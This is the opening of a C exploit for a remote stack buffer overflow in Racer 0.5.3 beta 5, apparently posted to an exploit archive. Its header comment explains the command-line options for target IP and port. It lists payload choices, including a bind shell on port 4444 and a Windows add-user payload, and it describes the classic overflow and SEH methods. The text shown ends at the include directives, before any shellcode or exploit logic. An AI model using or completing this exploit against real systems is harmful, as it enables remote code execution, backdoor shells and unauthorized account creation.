/* Racer vs 0.5.3 beta 5 Remote Stack Buffer Overflow(C) exploit by fl0 fl0w -------------------------------------------------------------------------------------------------- Description : Bug found some time ago by n00b (Cheers mate ! :D) ,I wanted to make a more improved sploit , with lots of targets to chose from , and C yes is better :D. -------------------------------------------------------------------------------------------------- Tested on Win Xp Pro Sp 3 ; Compile DevC++ 4.9.9.2 -------------------------------------------------------------------------------------------------- Command line arguments : -ip ->the ip of your target default is 127.0.0.1 -port ->default port is 26000 -shellcode ->well guess.. :D -------------------------------------------------------------------------------------------------- What does the exploit do ? You can run :Calc.exe, Bind shell on port 4444, Win32 Adduser I've set the default port 26000 and ip 127.0.0.1 . -------------------------------------------------------------------------------------------------- How to use ? Method ? -t 10 -ip 127.0.0.1 -port 26000 Classic buffer overflow , just jump to the payload and done ! It can be exploited using SEH method too. */ #include #include #include #ifdef WIN32 #include "winsock2.h" #pragma comment(lib, "ws2_32") #else #include #include #include #include #include #include
